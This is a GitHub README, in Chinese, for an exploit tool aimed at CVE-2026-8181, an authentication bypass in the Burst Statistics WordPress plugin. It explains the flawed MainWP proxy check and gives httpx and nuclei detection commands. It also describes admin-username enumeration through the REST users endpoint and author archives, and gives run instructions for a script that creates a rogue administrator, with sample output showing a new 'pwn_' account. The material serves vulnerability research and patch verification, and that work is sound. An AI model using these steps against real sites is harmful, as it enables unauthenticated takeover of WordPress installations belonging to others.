whattheslime/CVE-2026-8181
GitHub: whattheslime/CVE-2026-8181
这是一个针对WordPress插件Burst Statistics认证绕过漏洞的自动化利用工具,用于检测和创建管理员账户。
Stars: 0 | Forks: 0
# CVE-2026-8181 漏洞利用
### Burst Statistics WordPress 插件 — 从认证绕过到管理员权限提升
此漏洞利用针对由 [克洛伊·张伯伦](https://www.wordfence.com/threat-intel/vulnerabilities/researchers/chloe-chamberland) 和 [PRISM](https://www.wordfence.com/threat-intel/vulnerabilities/researchers/prism) 发现的 CVE-2026-8181。
### ⚠️ 免责声明
本仓库仅用于**研究和防御性安全目的**。
作者不对滥用此信息承担任何责任。
## 📌 概述
**Burst Statistics – 隐私友好的 WordPress 分析** 插件(用于 WordPress)在 **3.4.0 至 3.4.1.1** 版本中存在一个 **认证绕过导致管理员权限提升** 的漏洞。
漏洞存在于插件 MainWP 代理的 `is_mainwp_authenticated()` 方法中,该方法错误地将 `wp_authenticate_application_password()` 返回的任何非 `WP_Error` 值都视为成功的身份验证。
这允许 **知道有效管理员用户名的未经身份验证的攻击者** 在 **任何 REST API 请求期间冒充该管理员**,包括 WordPress 核心端点,例如 `POST /wp-json/wp/v2/users`。现有管理员的凭据不会被泄露,但攻击者拥有足够长的权限时间来创建一个全新的管理员账户。
## 🔬 根因分析
漏洞链如下:
1. **`includes/class-burst.php:41`** -> 插件在 `plugins_loaded` 优先级 `9` 上注册了 `init()`,它会运行 `bootstrap()` 并在每个请求(包括 REST 请求)中调用 `has_admin_access()`。
2. **`includes/Traits/trait-admin-helper.php:202`** -> 当请求携带 `X-BurstMainWP: 1` 头时,`has_admin_access()` 实例化 `MainWP_Proxy` 并将身份验证委托给 `is_mainwp_authenticated()`。
3. **`includes/Frontend/class-mainwp-proxy.php:314`** -> 该方法读取 `Authorization` 头,解码 Basic 凭证,并将攻击者提供的 `username` / `password` 转发给 WordPress 核心的 `wp_authenticate_application_password()`。
4. **`includes/Frontend/class-mainwp-proxy.php:328-329`** -> 返回值仅通过 `is_wp_error()` 检查。当未使用应用程序密码**或**请求未被标记为 API 请求时,WordPress 核心会返回未修改的 `$input_user`(此处为 `null`)。在 `plugins_loaded` 优先级 `9` 时,REST API 尚未将 `application_password_is_api_request` 过滤器设置为 `true`,因此当漏洞代码运行时,第二个条件总是满足的——而 `null` 不是 `WP_Error`,所以守卫通过。
5. **`includes/Frontend/class-mainwp-proxy.php:336`** -> 使用纯粹根据攻击者提供的用户名查找的用户调用 `wp_set_current_user( $user->ID )`,为整个请求设置全局认证用户。
因此,仅需一个带有伪造密码的 HTTP 请求,即可在 WordPress 核心 REST API 层面冒充任何管理员。
## 🔎 插件安装检测
1. **活跃插件** — 仅当插件被排队时,主页 HTML 才会引用其资源:
echo http://127.0.0.1:8000 | httpx -silent -mr '/wp-content/plugins/burst-statistics/'
2. **版本** — `readme.txt` 是静态提供的,并暴露已安装的版本(易受攻击版本:`3.4.0`–`3.4.1.1`,已修补版本:`3.4.2+`):
echo http://127.0.0.1:8000 | httpx -silent -path /wp-content/plugins/burst-statistics/readme.txt -er 'Stable tag:\s*[0-9][0-9a-zA-Z.\-]*'
捆绑的 [`CVE-2026-8181.yaml`](CVE-2026-8181.yaml) [nuclei](https://github.com/projectdiscovery/nuclei) 模板自动化了这两项检查和版本比较:
```
nuclei -t CVE-2026-8181.yaml -u http://127.0.0.1:8000
```
## 🎯 利用过程
一旦检测到易受攻击版本的插件,利用过程需要知道一个有效的管理员用户名。在大多数安装中,WordPress 的 REST API 会通过公共用户端点泄露它们:
```
echo http://127.0.0.1:8000 | httpx -silent -path '/wp-json/wp/v2/users' -er '"slug":"[^"]+"'
```
当该端点被锁定时(例如通过 *Disable REST API* 或 *Stop User Enumeration*),作者归档技巧 (`/?author=N`) 通常仍会通过重定向到 `/author//` 泄露用户名。
手握有效用户名后,该漏洞利用程序在一个请求中创建一个新的管理员账户:
0. 安装 python 依赖:
python3 -m venv venv
venv/bin/pip install -r requirements.txt
1. 对目标运行漏洞利用程序,使用 `-u` 提供一个已知的管理员用户名:
venv/bin/python3 CVE-2026-8181.py -t http://127.0.0.1:8000 -u admin
输出示例:
[2026-05-16] [12:20:20] [info] [config] 冒充 admin='admin',将创建新管理员 'pwn_322a4903' / 'kS8D^2A^P^%UtWyuUS3p8%64' (pwn_322a4903@example.test)。
[2026-05-16] [12:20:21] [success] [http://127.0.0.1:8000] 认证绕过成功 — 创建新管理员:用户名='pwn_322a4903' 密码='kS8D^2A^P^%UtWyuUS3p8%64'
2. 使用新创建的管理员账户登录 `/wp-admin/`。
## ⚠️ 局限性
仅当 `Authorization` 头通过 `$_SERVER['HTTP_AUTHORIZATION']` 到达 PHP 时,该绕过才会触发。在 **Apache + mod_php 且使用朴素永久链接**(WordPress 的开箱即用默认设置)的情况下,不会生成 `.htaccess` 文件,该头会被静默剥离——漏洞利用无法成功。
在 `设置 → 永久链接` 中切换到任何非朴素永久链接,会使 WordPress 5.6+ 将 `RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]` 指令写入 `.htaccess`,从而恢复转发。**Nginx + PHP-FPM** 和 **LiteSpeed** 默认无论永久链接设置如何都会转发 `Authorization`。在生产环境中,漂亮的永久链接是 SEO 规范,这就是该漏洞被评为 **CVSS 9.8 未经身份验证** 的原因。
漏洞利用程序首先尝试 `/wp-json/wp/v2/users`,然后回退到 `/index.php?rest_route=/wp/v2/users`,因此端点路由永远不会成为阻碍——只有头转发才是关键。
## 📚 参考资料
* https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/
* https://www.wordfence.com/threat-intel/vulnerabilities/id/8ca830d6-3d3c-4026-85cd-8447b8a568d3
* https://www.cve.org/CVERecord?id=CVE-2026-8181
标签:Burst Statistics, CVE-2026-8181, HTTP头, meg, REST API, Web报告查看器, WordPress安全, 信息安全, 协议分析, 安全漏洞, 插件漏洞, 操作系统监控, 攻击利用, 文件完整性监控, 权限提升, 管理员权限, 网络安全, 认证绕过, 逆向工具, 防御性安全, 隐私保护